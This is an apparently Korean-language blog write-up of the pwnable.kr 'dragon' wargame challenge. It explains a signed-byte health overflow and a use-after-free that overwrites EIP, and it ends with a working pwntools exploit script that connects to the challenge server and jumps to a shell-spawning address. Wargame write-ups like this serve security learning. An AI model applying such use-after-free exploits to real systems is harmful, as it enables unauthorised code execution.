Pwnstar
Pwnable.kr dragon 본문
루키스 문제들 복습할 겸 해서 얼른얼른 라이트업을 써 놔야겠다.
게임과 같은 형태로 되어있다 IDA로 보면
이렇게 단순하게 되어있고 PlayGame 함수는
요래 되어있다. 이 문제가 정말 친절한게
secretlevel이라고 쉘따는 부분까지 친절하게 준다.
뭐 이 부분으로 뛰면 될 것 같고,
우선 본론으로 가서 취약점은 엄마 드래곤의 체력에서 발생한다.
이 부분을 보면 v5는 바이트형이다. 그래서 범위가 -128 ~ 127까지 인데 우리는 프리스트가 공격하는 부분을 보면
드래곤이 스스로 피를 회복하는 것을 알 수 있다. 그러니까 우리는 holyshield스킬을 이용해서 살아남고 clarity 스킬을 이용해서 부족한 마나를 가끔 채워주면 용이 스스로 피를 회복하다가 127을 넘는 순간 용을 잡을 수 있을 것이다.
테스트를 해 보자.
정말 용을 잡는 데에 성공했고 잡은 사람 이름을 입력하는 부분이 나온다.
이 부분에서 uaf 취약점이 자연스레 발생하게 되는데, 그 이유는 이렇다.
프리스트의 데이터를
이 부분에서 0x10만큼 할당해서 사용하고 free한 후 데이터를 지우지 않은 채 재사용하게 되면서 uaf 취약점이 발생한다.
그래서 이 부분에서 v2에 malloc하고 우리가 입력받은 값을 넣게 되는데 이 부분은 사실 v5에 들어갈 것이다.
즉, 우리가 용을 잡고 입력한 4바이트의 값으로 eip가 덮이게 된다.
정말 그런지 한번 볼까??
BBBB를 입력하니 코어파일이 생겼고,
그 파일을 보니
역시 예상이 맞았다
이 부분은 당연히
굳이 secretlevel까지 갈 필요도 없이 저 부분으로 뛰면 될 것이다.
페이로드를 짜 보자.
from pwn import*
shell = 0x08048dbf
context.log_level = 'debug'
#p = process("./dragon")
p = remote("pwnable.kr", 9004)
for i in range(0, 4):
p.recvuntil("\n")
p.sendline("1")
for i in range(0, 4):
p.recvuntil("\n")
p.sendline("3")
p.sendline("3")
p.sendline("2")
p.recvuntil("\n")
payload = p32(shell)
p.sendline(payload)
p.interactive()
자 이렇게 짜고 돌려보면
짠
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr fsb (0) | 2020.06.25 |
---|---|
Pwnable.kr tiny_easy (0) | 2020.06.25 |
Pwnable.kr ascii_easy (0) | 2020.06.16 |
Pwnable.kr md5 calulator (0) | 2020.06.16 |
Pwnable.kr simple login (0) | 2020.06.10 |